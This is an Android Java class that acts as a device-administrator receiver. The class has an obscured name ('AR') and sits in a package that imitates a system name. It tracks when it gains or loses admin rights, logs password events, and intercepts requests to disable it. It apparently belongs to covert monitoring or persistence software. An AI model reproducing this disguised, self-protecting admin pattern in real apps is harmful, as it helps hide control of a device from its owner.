package com.android.dvci.listener; import android.content.Context; import android.content.Intent; import com.android.dvci.Status; import com.android.dvci.auto.Cfg; import com.android.dvci.util.Check; // http://marakana.com/s/post/1291/android_device_policy_administration_tutorial public class AR extends android.app.admin.DeviceAdminReceiver { static final String TAG = "DemoDeviceAdminReceiver"; /** Called when this application is approved to be a device administrator. */ @Override public void onEnabled(Context context, Intent intent) { super.onEnabled(context, intent); if (Cfg.DEBUG) { Check.log(TAG + " (onEnabled) "); } Status.self().setDeviceAdmin(true); } /** Called when this application is no longer the device administrator. */ @Override public void onDisabled(Context context, Intent intent) { super.onDisabled(context, intent); if (Cfg.DEBUG) { Check.log(TAG + " (onDisabled) "); } Status.self().setDeviceAdmin(false); } @Override public void onPasswordChanged(Context context, Intent intent) { super.onPasswordChanged(context, intent); if (Cfg.DEBUG) { Check.log(TAG + " (onPasswordChanged) "); } } @Override public void onPasswordFailed(Context context, Intent intent) { super.onPasswordFailed(context, intent); if (Cfg.DEBUG) { Check.log(TAG + " (onPasswordFailed) "); } } @Override public void onPasswordSucceeded(Context context, Intent intent) { super.onPasswordSucceeded(context, intent); if (Cfg.DEBUG) { Check.log(TAG + " (onPasswordSucceeded) "); } } @Override public void onReceive(Context context, Intent intent) { // Detect admin disable requests if (intent.getAction().equals(ACTION_DEVICE_ADMIN_DISABLE_REQUESTED)) { if (Cfg.DEBUG) { Check.log(TAG + " (onReceive): admin disabling requested"); //$NON-NLS-1$ } } else { super.onReceive(context, intent); } } }